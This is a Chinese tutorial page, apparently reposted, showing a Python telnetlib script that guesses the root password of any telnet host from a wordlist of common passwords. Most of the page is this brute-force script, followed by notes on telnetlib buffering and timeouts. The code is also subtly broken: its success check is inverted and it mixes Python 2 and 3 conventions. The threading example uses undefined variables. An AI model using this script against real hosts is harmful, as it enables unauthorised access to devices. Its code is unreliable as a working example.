主頁(yè) > 知識(shí)庫(kù) > Python實(shí)現(xiàn)Telnet自動(dòng)連接檢測(cè)密碼的示例

Python實(shí)現(xiàn)Telnet自動(dòng)連接檢測(cè)密碼的示例

熱門(mén)標(biāo)簽:電話機(jī)器人貸款詐騙 電話外呼系統(tǒng)招商代理 蘇州人工外呼系統(tǒng)軟件 打印谷歌地圖標(biāo)注 廣東旅游地圖標(biāo)注 京華圖書(shū)館地圖標(biāo)注 佛山通用400電話申請(qǐng) 看懂地圖標(biāo)注方法 淮安呼叫中心外呼系統(tǒng)如何

最近在學(xué)習(xí)Python網(wǎng)絡(luò)相關(guān)編程,這個(gè)代碼實(shí)現(xiàn)了Telnet自動(dòng)連接檢測(cè)root用戶密碼,密碼取自密碼本,一個(gè)一個(gè)檢測(cè)密碼是否匹配,直到匹配成功,屏幕輸出停止。

Python內(nèi)置了telnetlib模塊,支持telnet遠(yuǎn)程操作,只要直接import就可以。

代碼如下:

# encoding=utf-8
import telnetlib
import time
import sys
import os


def do_telnet(Host, Port, username, password, finish):
    # 連接Telnet服務(wù)器
    tn = telnetlib.Telnet(Host, Port, timeout=1)
    tn.set_debuglevel(3)

    # 輸入登錄用戶名
    tn.read_until("login: ")
    tn.write(str(username) + '\n')

    # 輸入登錄密碼
    tn.read_until("Password: ")
    tn.write(str(password) + '\n')

    # 判斷密碼錯(cuò)誤提示,如果沒(méi)有這個(gè)提示說(shuō)明登錄成功
    if tn.read_until(finish):
        print("****** login incorrect!\n")
    tn.close()


if __name__ == '__main__':
    Host = input("IP:")  # Telnet服務(wù)器IP
    Port = input("Port:")  # Telnet服務(wù)器端口
    username = 'root'  # 登錄用戶名
    finish = 'incorrect'  # 密碼錯(cuò)誤提示
    pw_file = open('.\\pw.txt', 'r+')  # 密碼文件
    Index = 0
    print(time.asctime(), ":   ****** begin", "\n")
    while True:
        password = pw_file.readline()
        Index += 1
        print(Index, time.asctime(), ":   ****** try", "", username, ":", password, "")
        if len(password) == 0:
            break
        do_telnet(Host, Port, username, password, finish)
    pw_file.close()

密碼本pw.txt,內(nèi)容例如:

root  
admin  
12345  
888888 

輸出如下:

注:我這邊測(cè)試的目標(biāo)主機(jī)是嵌入式linux系統(tǒng),用戶名是root,密碼錯(cuò)誤返回的是incorrect提示。你可能要根據(jù)目標(biāo)系統(tǒng)不同修改用戶名和錯(cuò)誤提示。

telnetlib提供好多方法可以得到數(shù)據(jù),象read_until()是當(dāng)結(jié)果中存在想要的信息時(shí)返回,read_some()是只要有結(jié)果就返回,read_very_lazy()是返回緩沖區(qū)中的數(shù)據(jù)。經(jīng)過(guò)看代碼,telnetlib采用緩沖的處理方式,因此數(shù)據(jù)并不是一下子就返回的,而是先放在了緩沖區(qū)中。許多的讀取處理都是圍繞著這個(gè)緩沖區(qū)來(lái)的。而緩沖區(qū)的信息何時(shí)到達(dá)就不說(shuō)不清楚了,也許很快,也許很慢,也許分別到達(dá),也許一下子就收到了。因此,對(duì)于數(shù)據(jù)不一定到齊的這種情況,就采用了象read_until()來(lái)判斷緩沖區(qū)中的數(shù)據(jù)是否有想要的內(nèi)容,如果沒(méi)有就等待,除非到達(dá)了超時(shí)時(shí)間。再有可以使用expect方法,與read_until差不多,但是它可以支持正則表達(dá)式,功能要強(qiáng)大得多。

在網(wǎng)上還有一個(gè)叫 Pexpect 它好象功能強(qiáng)大,它支持多種協(xié)議,它的主頁(yè)就建議使用 Pexpect 來(lái)下載它的文檔。不過(guò)因?yàn)榫W(wǎng)絡(luò)不太好就沒(méi)有下來(lái),不知道支不支持 Telnet 協(xié)議。

上面的程序再配以 ftplib 的功能就可以做一個(gè)遠(yuǎn)程更新的維護(hù)程序。只不過(guò)如何判斷后臺(tái)返回的信息,我沒(méi)有找到好的方法,是使用read_lazy()還是read_eager()呢?還是什么別的方法。最主要的問(wèn)題是,返回的數(shù)據(jù)不一定完整。好象沒(méi)有提供一個(gè)read_line()的方法。

其中port和timeout是可選的參數(shù),而timeout的只是在初始化socket連接時(shí)起作用,而一旦連接成功后如果出現(xiàn)等待那就不會(huì)起作用了,比如使用read_until方式獲取內(nèi)容時(shí)返回的內(nèi)容與指定的內(nèi)容沒(méi)有吻合,那么就會(huì)造成提示等待的情況,這時(shí)timeout是不會(huì)起作用的,而這個(gè)socket連接會(huì)一直保持著,永生不死。

那么如何解決這個(gè)問(wèn)題呢,其實(shí)還有一種比較原始的方法,就是使用sleep方法來(lái)代替read_until方法,這樣就不會(huì)出現(xiàn)種情況,因?yàn)榈近c(diǎn)就會(huì)自己輸入,最多也就是最后得不到想要的結(jié)果,但是這個(gè)方式很不穩(wěn)定,兼容性也不好;另一種方法是使用線程來(lái)啟動(dòng)這個(gè)函數(shù),然后對(duì)子線程進(jìn)行超時(shí)設(shè)置,這樣就可以達(dá)到間接控制這個(gè)telnet連接的目的了。

import threading  

th1 = threading.Thread(target=do_telnet, args=(host.encode('utf-8'), user.encode('utf-8'), passwd.encode('utf-8'), finish.encode('utf-8'), commands))  
th1.start()  
th1.join(20)  ##20秒超時(shí)時(shí)間 

遇到的問(wèn)題:

傳遞給Telnet方法的字符串都會(huì)被解一次碼,所以如果你傳遞過(guò)去需要write的字符串是已經(jīng)解碼的unicode的話,那么就會(huì)報(bào)錯(cuò)的,所以在傳遞發(fā)送的字符串之前還是先編成utf-8為妥,用ascii編碼也可以。

以上就是Python實(shí)現(xiàn)Telnet自動(dòng)連接檢測(cè)密碼的示例的詳細(xì)內(nèi)容,更多關(guān)于python Telnet自動(dòng)連接檢測(cè)密碼的資料請(qǐng)關(guān)注腳本之家其它相關(guān)文章!

您可能感興趣的文章:
  • Python如何telnet到網(wǎng)絡(luò)設(shè)備
  • 如何在Python3中使用telnetlib模塊連接網(wǎng)絡(luò)設(shè)備
  • Python telnet登陸功能實(shí)現(xiàn)代碼
  • 使用python telnetlib批量備份交換機(jī)配置的方法
  • python 處理telnet返回的More,以及get想要的那個(gè)參數(shù)方法
  • 對(duì)python使用telnet實(shí)現(xiàn)弱密碼登錄的方法詳解
  • 使用python Telnet遠(yuǎn)程登錄執(zhí)行程序的方法
  • Python判斷telnet通不通的實(shí)例
  • Python實(shí)現(xiàn)telnet服務(wù)器的方法
  • Python實(shí)現(xiàn)的使用telnet登陸聊天室實(shí)例
  • python實(shí)現(xiàn)telnet客戶端的方法

標(biāo)簽:江蘇 股票 駐馬店 湖州 衡水 畢節(jié) 呼和浩特 中山

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《Python實(shí)現(xiàn)Telnet自動(dòng)連接檢測(cè)密碼的示例》,本文關(guān)鍵詞  Python,實(shí)現(xiàn),Telnet,自動(dòng),連接,;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問(wèn)題,煩請(qǐng)?zhí)峁┫嚓P(guān)信息告之我們,我們將及時(shí)溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無(wú)關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《Python實(shí)現(xiàn)Telnet自動(dòng)連接檢測(cè)密碼的示例》相關(guān)的同類(lèi)信息!
  • 本頁(yè)收集關(guān)于Python實(shí)現(xiàn)Telnet自動(dòng)連接檢測(cè)密碼的示例的相關(guān)信息資訊供網(wǎng)民參考!
  • 推薦文章